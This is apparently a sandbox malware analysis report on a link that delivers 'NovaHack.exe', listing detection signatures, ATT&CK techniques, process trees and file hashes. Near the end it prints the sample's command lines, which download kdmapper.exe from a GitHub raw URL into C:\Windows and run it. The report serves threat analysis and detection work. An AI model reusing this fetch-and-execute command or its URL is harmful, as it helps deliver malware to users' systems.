hxxps://direct-link[.]net/1067274/ext

Analysis

max time kernel
126s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
03/09/2024, 16:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://direct-link.net/1067274/ext

Score

8^/10

discovery

Malware Config

Signatures

Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
5716	NovaHack.exe
4580	mappers.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
192	discord.com
193	discord.com
297	raw.githubusercontent.com
298	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
93	api.ipify.org
95	api.ipify.org

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\mappers.exe	curl.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4182098368-2521458979-3782681353-1000\{DD67D8D3-9F7F-4F8C-8253-9B22BCA76C1E}	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 424395.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1464	msedge.exe
1464	msedge.exe
5052	msedge.exe
5052	msedge.exe
5024	msedge.exe
5024	msedge.exe
4616	identity_helper.exe
4616	identity_helper.exe
5640	msedge.exe
5640	msedge.exe
5716	NovaHack.exe
5716	NovaHack.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5716	NovaHack.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 26 IoCs

pid	Process
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe

Suspicious use of SendNotifyMessage 28 IoCs

pid	Process
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe
5052	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 3592	5052	msedge.exe	83
PID 5052 wrote to memory of 3592	5052	msedge.exe	83
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 4668	5052	msedge.exe	84
PID 5052 wrote to memory of 1464	5052	msedge.exe	85
PID 5052 wrote to memory of 1464	5052	msedge.exe	85
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86
PID 5052 wrote to memory of 4952	5052	msedge.exe	86

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://direct-link.net/1067274/ext
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff6cd046f8,0x7fff6cd04708,0x7fff6cd04718
  2⤵
  PID:3592
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2104 /prefetch:2
  2⤵
  PID:4668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2824 /prefetch:8
  2⤵
  PID:4952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
  2⤵
  PID:3200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3320 /prefetch:1
  2⤵
  PID:2348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4972 /prefetch:1
  2⤵
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5312 /prefetch:1
  2⤵
  PID:1808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5496 /prefetch:8
  2⤵
  PID:640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5084 /prefetch:8
  2⤵
  PID:3596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=4968 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:5024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3464 /prefetch:1
  2⤵
  PID:1664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:1
  2⤵
  PID:4056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
  2⤵
  PID:688
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6216 /prefetch:8
  2⤵
  PID:1276
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6216 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3964 /prefetch:1
  2⤵
  PID:4796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4704 /prefetch:1
  2⤵
  PID:2776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4968 /prefetch:1
  2⤵
  PID:3704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6432 /prefetch:1
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6564 /prefetch:1
  2⤵
  PID:3964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6596 /prefetch:1
  2⤵
  PID:2304
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6820 /prefetch:1
  2⤵
  PID:1900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6916 /prefetch:1
  2⤵
  PID:4200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6892 /prefetch:1
  2⤵
  PID:2560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:1
  2⤵
  PID:5940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6932 /prefetch:1
  2⤵
  PID:6036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7056 /prefetch:1
  2⤵
  PID:3964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:5348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
  2⤵
  PID:5456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6588 /prefetch:8
  2⤵
  PID:5480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6408 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7016 /prefetch:1
  2⤵
  PID:1312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2156 /prefetch:1
  2⤵
  PID:3776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4780 /prefetch:1
  2⤵
  PID:5684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6968 /prefetch:1
  2⤵
  PID:6088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7104 /prefetch:1
  2⤵
  PID:5984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2092,16964472560855247341,12494136956498897597,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7088 /prefetch:8
  2⤵
  PID:3020

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1492

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3600

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4104

C:\Users\Admin\Downloads\NovaHack.exe
"C:\Users\Admin\Downloads\NovaHack.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
PID:5716
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L https://raw.githubusercontent.com/sfyg67ert67gj90iwre3/ssssssssadsad222/main/kdmapper.exe -s -o C:\Windows\mappers.exe
  2⤵
  PID:3564
- - C:\Windows\system32\curl.exe
    curl -L https://raw.githubusercontent.com/sfyg67ert67gj90iwre3/ssssssssadsad222/main/kdmapper.exe -s -o C:\Windows\mappers.exe
    3⤵
    - Drops file in Windows directory
    PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start C:\Windows\mappers.exe
  2⤵
  PID:1700
- - C:\Windows\mappers.exe
    C:\Windows\mappers.exe
    3⤵
    - Executes dropped EXE
    PID:4580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
111c361619c017b5d09a13a56938bd54

SHA1
e02b363a8ceb95751623f25025a9299a2c931e07

SHA256
d7be4042a1e3511b0dbf0ab5c493245e4ac314440a4ae0732813db01a21ef8bc

SHA512
fc16a4ad0b56899b82d05114d7b0ca8ee610cdba6ff0b6a67dea44faf17b3105109335359b78c0a59c9011a13152744a7f5d4f6a5b66ea519df750ef03f622b2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
983cbc1f706a155d63496ebc4d66515e

SHA1
223d0071718b80cad9239e58c5e8e64df6e2a2fe

SHA256
cc34b8f8e3f4bfe4c9a227d88f56ea2dd276ca3ac81df622ff5e9a8ec46b951c

SHA512
d9cf2ca46d9379902730c81e615a3eb694873ffd535c6bb3ded2dc97cdbbfb71051ab11a07754ed6f610f04285605b702b5a48a6cfda3ee3287230c41c9c45cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00001d

Filesize
64KB

MD5
d6b36c7d4b06f140f860ddc91a4c659c

SHA1
ccf16571637b8d3e4c9423688c5bd06167bfb9e9

SHA256
34013d7f3f0186a612bef84f2984e2767b32c9e1940df54b01d5bd6789f59e92

SHA512
2a9dd9352298ec7d1b439033b57ee9a390c373eeb8502f7f36d6826e6dd3e447b8ffd4be4f275d51481ef9a6ac2c2d97ef98f3f9d36a5a971275bf6cee48e487

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00001e

Filesize
67KB

MD5
ed124bdf39bbd5902bd2529a0a4114ea

SHA1
b7dd9d364099ccd4e09fd45f4180d38df6590524

SHA256
48232550940208c572ebe487aa64ddee26e304ba3e310407e1fc31a5c9deed44

SHA512
c4d180292afa484ef9556d15db1d3850416a85ad581f6f4d5eb66654991fa90f414029b4ce13ed142271a585b46b3e53701735ee3e0f45a78b67baa9122ba532

Download Submit
